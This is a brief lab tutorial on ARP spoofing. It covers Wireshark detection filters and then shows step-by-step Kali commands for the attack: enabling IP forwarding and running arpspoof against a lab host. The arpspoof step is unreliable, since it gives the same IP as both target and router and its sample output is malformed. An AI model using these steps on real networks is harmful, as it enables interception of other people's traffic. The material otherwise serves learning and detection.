

# Wireshark- ARP Spoofing

ARP spoofing, also known as ARP poisoning, is a cyber attack technique in which an attacker sends falsified ARP (Address Resolution Protocol) messages over a local network. The intent is to associate the attacker's MAC (Media Access Control) address with the IP address of another host, typically the network gateway. This misleads devices on the network to route their traffic through the attacker, enabling the interception, modification, or disruption of communications. ARP spoofing can facilitate various malicious activities, such as man-in-the-middle attacks, session hijacking, and denial-of-service attacks, posing significant security risks to network integrity and data confidentiality.

Using Wireshark to detect ARP spoofing involves capturing and analyzing ARP traffic on a network to identify discrepancies that indicate malicious activity. Start by launching Wireshark and selecting the appropriate network interface. Apply the ARP filter (`arp`) to display only ARP packets. Look for multiple ARP replies where different MAC addresses claim the same IP address, a key sign of ARP spoofing. You can also use the filter `arp.duplicate-address-frame` to find frames with duplicate IP addresses associated with different MAC addresses. Additionally, monitor for unusual ARP traffic patterns, such as a high

volume of ARP requests from a single source. These steps help identify ARP spoofing attempts, allowing you to take appropriate security measures to protect the network.

## Example: -

1. Open terminal and ping the target machine to verify the IP address you are using and to add it to your arp table.

```
(kali㉿kali)-[~]  
$ ping 10.0.2.15  
PING 10.0.2.15 (10.0.2.15) 56(84) bytes of data.  
64 bytes from 10.0.2.15: icmp_seq=1 ttl=64 time=0.121 ms  
64 bytes from 10.0.2.15: icmp_seq=2 ttl=64 time=0.045 ms  
64 bytes from 10.0.2.15: icmp_seq=3 ttl=64 time=0.050 ms  
64 bytes from 10.0.2.15: icmp_seq=4 ttl=64 time=0.048 ms  
64 bytes from 10.0.2.15: icmp_seq=5 ttl=64 time=0.042 ms  
64 bytes from 10.0.2.15: icmp_seq=6 ttl=64 time=0.043 ms  
64 bytes from 10.0.2.15: icmp_seq=7 ttl=64 time=0.045 ms  
64 bytes from 10.0.2.15: icmp_seq=8 ttl=64 time=0.049 ms  
64 bytes from 10.0.2.15: icmp_seq=9 ttl=64 time=0.063 ms  
64 bytes from 10.0.2.15: icmp_seq=10 ttl=64 time=0.062 ms  
64 bytes from 10.0.2.15: icmp_seq=11 ttl=64 time=0.080 ms  
64 bytes from 10.0.2.15: icmp_seq=12 ttl=64 time=0.055 ms  
64 bytes from 10.0.2.15: icmp_seq=13 ttl=64 time=0.043 ms  
64 bytes from 10.0.2.15: icmp_seq=14 ttl=64 time=0.053 ms  
64 bytes from 10.0.2.15: icmp_seq=15 ttl=64 time=0.056 ms  
64 bytes from 10.0.2.15: icmp_seq=16 ttl=64 time=0.074 ms  
64 bytes from 10.0.2.15: icmp_seq=17 ttl=64 time=0.048 ms  
64 bytes from 10.0.2.15: icmp_seq=18 ttl=64 time=0.061 ms  
^Z  
zsh: suspended ping 10.0.2.15
```

2. Type arp in the terminal command line to see your arp table.

```
(kali㉿kali)-[~]  
$ arp  
Address HWtype HWaddress Flags Mask Iface  
10.0.2.15 ether 52:54:00:12:34:56 C eth0
```

3. For security purposes, IP forwarding is by default disabled in modern Linux systems. For temporarily enabling it, use `echo 1 > /proc/sys/net/ipv4/ip_forward`

```
(kali㉿kali)-[~]  
$ sudo su  
(root㉿kali)-[/home/kali]  
# echo 1 > /proc/sys/net/ipv4/ip_forward
```

4. For ARP poisoning, use the following command.

```
(root@kali)~[/home/kali]
# arpspoof -i eth0 -t 10.0.2.15 -r 10.0.2.15
8:0:27:00:00:00:00:0806 42: arp reply 10.0.2.1 is-at 8:0:27:10:0:27:10:0
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zsh: suspended arpspoof -i eth0 -t 10.0.2.15 -r 10.0.2.15
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5. Now to verify the arpspoofing, open wireshark and capture the packets and use arp filter to find out arp packets.

